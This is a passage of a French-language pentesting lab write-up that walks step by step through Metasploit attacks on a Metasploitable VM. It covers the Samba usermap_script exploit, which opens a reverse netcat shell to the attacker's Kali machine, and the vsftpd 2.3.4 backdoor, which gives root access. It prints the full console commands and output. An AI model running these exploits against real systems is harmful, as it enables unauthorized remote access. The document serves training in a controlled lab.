Charger l'exploit pour permettre l'exécution de commandes à distance.

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >
```

Etape 6: Options du Module

Afficher les options tels que:

- RHOSTS = IP de Metasploitable
- RPORT = 445
- LHOST = IP de Kali
- Payload configuré automatiquement

show options

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.223.132 yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST     127.0.0.1        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Etape 7: Définir la cible

set RHOSTS [192.168.xx.xx](#)

```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.223.132
RHOSTS => 192.168.223.132
```

Etape 8: Définir le port

set RPORT 445

Etape 9: Définit l'adresse de la machine attaquante(Celle de ta machine)

set LHOST [192.168.xx.xx](#)

Etape 10: Lance l'exploit

```
[*] Started reverse TCP handler on 192.168.223.131:4444
[*] Command shell session 1 opened (192.168.223.131:4444 -> 192.168.223.132:47354) at 2025-11-17 00:14:41 +0100
```

Etape 11: Navigation sur la machine compromise

```
[*] Started reverse TCP handler on 192.168.223.131:4444
[*] Command shell session 1 opened (192.168.223.131:4444 -> 192.168.223.132:47354) at 2025-11-17 00:14:41 +0100

shell
cd /tmp
ls
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using 'python' to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
cd /tmp
root@metasploitable:/tmp# ls
5118.jsvc_up  zshleh
root@metasploitable:/tmp#
```

Résumé

Ce Lab m'a permis de:

- Analyse des ports et services avec Nmap
- Identification d'un service vulnérable
- Recherche d'exploit et utilisation de Metasploit
- Configuration d'un exploit (RHOSTS, RPORT, LHOST)
- Lancement d'une attaque Samba
- Obtention d'un accès shell à la machine Metasploitable
- Navigation sur un système compromis

PARTIE 2: Exploitation de la vulnérabilité VSFTPD

Objectif :

- Exploiter la backdoor connue du service vsftpd 2.3.4 présent sur Metasploitable afin d'obtenir une session distante.

Etape 1: Recherche des exploits VSFTPD

Tout en étant dans **msfconsole**, lancer la commande **search vsftpd**

```
msf6 > search vsftpd

Matching Modules



| # | Name                                 | Disclosure Date | Rank      | Check | Description                              |
|---|--------------------------------------|-----------------|-----------|-------|------------------------------------------|
| 0 | exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03      | excellent | No    | VSFTPD v2.3.4 Backdoor Command Execution |



Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Etape 2: Sélection de l'exploit

use exploit/unix/ftp/vsftpd_234_backdoor

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

Etape 3: Vérifier les options

show options

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name   | Current Setting | Required | Description                                                                                  |
|--------|-----------------|----------|----------------------------------------------------------------------------------------------|
| RHOSTS |                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT  | 21              | yes      | The target port (TCP)                                                                        |



Payload options (cmd/unix/interact):



| Name     | Current Setting | Required | Description                    |
|----------|-----------------|----------|--------------------------------|
| EXITFUNC | process         |          | Process to send exit signal to |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.
```

Etape 7: Définir l'adresse de la cible

set RHOSTS 192.168.xx.xx

Etape 8: Lancer l'exploit

exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.223.132
RHOSTS => 192.168.223.132
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.223.132:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.223.132:21 - USER: 331 Please specify the password.
[+] 192.168.223.132:21 - Backdoor service has been spawned, handling ...
[+] 192.168.223.132:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.223.131:37757 -> 192.168.223.132:6200) at 2025-11-17 01:29:33 +0100
```

Nous constatons une ouverture et une connexion réussie vers notre backdoor .

Etape 9: Vérification d'accès

whoami

Résultat: **root** (Ceci montre que tu as un accès total sur la machine).

```
whoami
root
whoami
root
ps
PID TTY          TIME CMD
  1 ?            00:00:00 init
  2 ?            00:00:00 kthreadd
  3 ?            00:00:00 migration/0
  4 ?            00:00:00 ksoftirqd/0
  5 ?            00:00:00 watchdog/0
  6 ?            00:00:00 events/0
  7 ?            00:00:00 khelper
 41 ?            00:00:00 kblockd/0
 44 ?            00:00:00 kacpid
 45 ?            00:00:00 kacpi_notify
174 ?            00:00:00 kseriod
212 ?            00:00:00 pdflush
213 ?            00:00:00 pdflush
214 ?            00:00:00 kswapd0
256 ?            00:00:00 aio/0
1280 ?           00:00:00 ksnapd
1503 ?           00:00:00 ata/0
1506 ?           00:00:00 ata_aux
1515 ?           00:00:00 scsi_eh_0
1518 ?           00:00:00 scsi_eh_1
1538 ?           00:00:00 ksuspend_usbd
1542 ?           00:00:00 khubd
2411 ?           00:00:00 scsi_eh_2
2580 ?           00:00:02 kjournald
2736 ?           00:00:00 udevd
3150 ?           00:00:00 kpsmoused
4111 ?           00:00:00 kjournald
4263 ?           00:00:00 rpciod/0
4278 ?           00:00:00 rpc.idmapd
4598 ?           00:00:00 dd
4645 ?           00:00:00 sshd
4721 ?           00:00:00 mysqld_safe
4765 ?           00:00:00 logger
4918 ?           00:00:00 lockd
4919 ?           00:00:00 nfsd4
4920 ?           00:00:00 nfsd
4921 ?           00:00:00 nfsd
4922 ?           00:00:00 nfsd
4923 ?           00:00:00 nfsd
4924 ?           00:00:00 nfsd
4925 ?           00:00:00 nfsd
4926 ?           00:00:00 nfsd
```

Résumé:

Ce Lab m'a permis de:

- Recherche d'exploits avec Metasploit
- Identification d'un service vulnérable
- Configuration d'un exploit (RHOSTS + options)
- Exploitation de la backdoor vsftpd 2.3.4
- Prise de contrôle totale du système (root)
- Post-exploitation : whoami, ps